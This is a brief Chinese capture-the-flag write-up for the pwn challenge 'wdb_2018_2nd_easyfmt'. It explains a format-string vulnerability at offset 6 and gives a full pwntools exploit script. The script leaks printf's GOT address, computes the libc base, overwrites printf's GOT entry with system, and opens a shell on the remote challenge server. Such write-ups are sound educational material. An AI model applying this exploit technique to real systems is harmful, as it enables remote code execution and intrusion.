wdb_2018_2nd_easyfmt
检查防护

本地调试

把我们输入内容的打印出来
IDA静态分析

很明了,格式化字符串漏洞,先找一下偏移

偏移为6
大致思路
格式化字符串漏洞泄露printf的got表地址,得到libc基地址,再将printf_got修改为system的地址再发送’/bin/sh’就相当于执行了 system(‘/bin/sh’)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import* context(os='linux', arch='i386', log_level='debug')
io= remote("node4.buuoj.cn",26972) elf =ELF('./wdb_2018_2nd_easyfmt')
libc = ELF('libc-2.23_32.so')
printf_got = elf.got['printf']
io.recvuntil(b"Do you know repeater?") payload = p32(printf_got)+'%6$s' io.sendline(payload)
printf_addr = u32(io.recvuntil("\xf7")[-4:]) print(hex(printf_addr)) libc_base=printf_addr-libc.sym['printf'] system_addr= libc_base + libc.sym['system']
payload1 = fmtstr_payload(6,{printf_got:system_addr}) io.send(payload1) sleep(1) io.sendline(b'/bin/sh\x00') io.interactive()
|
